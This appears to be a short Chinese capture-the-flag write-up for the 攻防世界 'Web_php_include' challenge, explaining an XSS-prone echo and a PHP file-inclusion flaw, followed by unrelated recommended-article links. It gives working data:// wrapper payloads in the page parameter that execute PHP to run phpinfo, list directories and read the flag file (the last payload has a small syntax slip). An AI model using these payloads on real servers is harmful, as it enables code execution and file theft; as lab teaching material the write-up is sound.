32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
shayudiandian6 分钟前
学习率(Learning Rate)到底怎么调?
学习
L***一9 分钟前
汽车产业数字化转型背景下复合型技术人才培养路径研究
学习
丝斯201122 分钟前
AI学习笔记整理(39)——自然语言处理算法之词向量 Word2vec
人工智能·学习·自然语言处理
巧克力味的桃子26 分钟前
学习笔记:查找数组第K小的数(去重排名)
笔记·学习·算法
旖旎夜光35 分钟前
Linux(6)(下)
linux·学习
深盾安全1 小时前
C++错误处理的现代化方式:深入理解std::error_code
安全
FreeBuf_1 小时前
“lc“键漏洞:LangChain高危缺陷(CVE-2025-68664)使提示注入攻击可窃取机密
安全·web安全·langchain
Ancelin安心1 小时前
Windows搭建和使用vulhub的一些常用命令
linux·运维·服务器·网络安全·docker·容器·vulhub
叫我莫言鸭1 小时前
关于word生成报告的POI学习
学习·word
马剑威(威哥爱编程)1 小时前
【鸿蒙学习笔记】基于HarmonyOS实现申请Push Token的功能
笔记·学习·harmonyos